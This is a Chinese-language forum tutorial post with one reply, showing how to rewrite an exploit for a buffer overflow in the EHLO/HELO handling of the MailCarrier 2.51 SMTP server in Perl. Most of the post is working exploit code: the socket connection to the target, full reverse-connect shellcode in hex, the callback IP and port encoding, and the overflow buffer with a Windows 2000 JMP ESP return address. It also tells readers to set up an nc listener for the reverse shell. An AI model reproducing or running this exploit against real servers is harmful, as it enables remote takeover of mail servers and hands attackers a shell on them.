發新話題

[教學]用PERL打造自己的緩衝區漏洞利用程式

[教學]用PERL打造自己的緩衝區漏洞利用程式

用PERL打造自己的緩衝區漏洞利用程式

幾天前我在外國網站發現了一個關於MailCarrier 2.51郵件服務器EHLO/HELO的溢出資訊,發現其中的利用代碼是用python語言寫的,這種語言我不懂,也沒興趣學,但為了利用這個程式再裝個解釋器太麻煩了,所以就決定把利用程式改成PERL的。MailCarrier 2.51郵件服務器是一個功能完備,支持SSL加密和SMPT/POP3認證的服務器,國內用的雖然不是很多,在國外它還是有一定市場的。MailCarrier SMTP server對EHLO/HELO命令處理不正確,遠端攻擊者可以利用這個漏洞對服務進程進行緩衝區溢出,可能以進程許可權執行任意指令。
提交包含超長參數的EHLO/HELO命令,可觸發緩衝區溢出,精心構建提交資料可能以進程許可權執行任意指令。

看來是一個很簡單的超長參數溢出漏洞。
我給出類比的堆疊描述。

記憶體低端 記憶體高端
[臨時變數處,用任意字串填充|EBP|EIP|NNNSSSS]
堆疊頂端 堆疊底端

看來只要提交超長資料,必然會出發漏洞,至少會造成程式崩潰。服務器運行在WINDOWS服務器上,SHELLCODE我是從網上下的,覆蓋EIP的JMP ESP我是用的WIN2000的。


二 程式關鍵代碼解析

if($backport!~/^\d+$/||$backport<=0||$backport>65535)
{ print ("Input valid port number\n");
usage();
exit;
}
$port1=$backport^0x9999;
$port1=pack('n',$port1);
程式中的SHELLCODE用的是反向連接,上面的代碼就是把我們提交的埠號封裝成網路格式。

if($backip!~/^\d+.\d+.\d+.\d+$/)
{
print ("Input valid ip address\n");
usage();
exit;
}

@backip1=split(/\./,$backip);
$ip=$backip1[0]*256*256*256+$backip1[1]*256*256+$backip1[2]*256+$backip1[3];
$ip=$ip^0x99999999;
$ip=pack('N',$ip);
以上代碼把提交的IP位址封裝成網路格式,上面的封裝格式並不是我自己想出來的,也是不能改的,因為資料的格式是固定的。這個IP位址是回連位址,在此之前應該用NC在這台主機上設置埠監聽。


$remote=IO::Socket::INET->new (Proto => "tcp", PeerAddr=>$hostname, PeerPort => $port, Type => SOCK_STREAM) or die "Couldnt connect to $hostnameport\n";
上面的代碼是建立TCP連接,這個連接是連接到目標服務器的,也就是運行郵件服務器的主機。


$sc2=
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x9f\x01\x80\x34\x0B\x99\xE2\xFA".
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\xFF\x18\x75\x19\x99\x12\x6D\x71\x8A".
"\x98\x99\x99\x10\x9F\x66\xAF\xF1\x17\xD7\x97\x75\x71\xB4\x98\x99".
"\x99\x10\xDF\x91\x66\xAF\xF1\x34\x40\x9C\x57\x71\x87\x98\x99\x99".
"\x10\xDF\x95\xF1\xF5\xF5\x99\x99\xF1\xAA\xAB\xB7\xFD\xF1\xEE\xEA".
"\xAB\xC6\xCD\x66\xCF\x91\x10\xDF\x9D\x66\xAF\xF1\xEB\x67\x2A\x8F".
"\x71\x60\x99\x99\x99\x10\xDF\x89\x66\xAF\xF1\xE7\x41\x7B\xEA\x71".
"\x73\x99\x99\x99\x10\xDF\x8D\x66\xEF\x9D\xF1\x52\x74\x65\xA2\x71".
"\x43\x99\x99\x99\x10\xDF\x81\x66\xEF\x9D\xF1\x40\x90\x6C\x34\x71".
"\x53\x99\x99\x99\x10\xDF\x85\x66\xEF\x9D\xF1\x75\x60\x33\xF9\x71".
"\x23\x99\x99\x99\x10\xDF\xB9\x18\x75\x09\x98\x99\x99\xCD\xF1\x98".
"\x98\x99\x99\x66\xCF\x81\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF".
"\x85\x12\x41\x72\x9A\x66\xCF\x8D\xF1";
$sc2.=$ip;#IP地址
$sc2.="\xF1\x9B\x99";
$sc2.=$port1;#埠
$sc2.="\x12\x55\xF3\x89\xC8\xCA\x66\xCF\xB9\x1C\x59\xEC\x7F\xF1".
"\xFC\xE1\xFC\x99\xF1\xFA\xF4\xFD\xB7\x10\xFF\xA9\x1A\x5D\x35\x14".
"\xA5\xBD\xAA\x59\xAA\x50\x19\x70\x72\x32\x7B\x64\x5F\xDD\xBD\x89".
"\xDD\x67\xDD\xBD\xA5\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD".
"\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98".
"\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x89\x12\x55\xF3\x66\x66\xA8\x66".
"\xCF\x95\x12\x51\x72\x16\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59".
"\xE1\x95\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9".
"\xAD\x12\x31\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\xCA\xCC".
"\xCF\xCE\x12\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12".
"\xD3\x81\x12\xC3\xB9\x9A\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA".
"\x66\x65\xAA\x59\x35\xA3\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B".
"\xA2\xE5\xBD\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12".
"\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6".
"\xC7\xC4\xC2\x5B\x9D\x99";

上面的SHELLCODE 是網上下載的。

$buffer="EHLO ";
$buffer.="A"x5097;
$buffer.="\x12\x45\xfa\x7f";
$buffer.="\x90"x32;
$buffer.=$sc2;
$buffer.="\r\n";

上面的$buffer變數是我們提交的資料,因為漏洞描述中已經給出了在填充5097(部分系統是5093)個位元組就會出發漏洞,其中"\x12\x45\xfa\x7f"是WIN2000中文版JMP ESP的通用返回位址(0x7ffa4512),其他的系統得自己去網上找一下。


三 總結
全部源碼請看附帶的程式。這個程式用處雖然不大,但給大家提供了一些簡單的方法。大家可以參考這個流程改寫網上一些漏洞利用程式,其實好多溢出程式最原始版本作者寫得都很保留,功能儘量減少,只是一個測試,這一點我也很贊同,省得一些什麼都不懂的菜鳥到處搞破壞。大部分利用程式都是經過很多人改寫後才得以流傳到網上,這時的程式已經很完美了。我寫此文也希望大家以後通過努力學習把外國人寫的利用程式改成我們自己的。

[ 本帖最後由 philxyz0316 於 2006-7-23 21:31 編輯 ]

TOP

滿不錯的東西,不過我對 perl 沒研究,
不知道有沒有C++版本的?
滿想搞懂這東東的原理的.. ^^

TOP

發新話題

本站所有圖文均屬網友發表,僅代表作者的觀點與本站無關,如有侵權請通知版主會盡快刪除。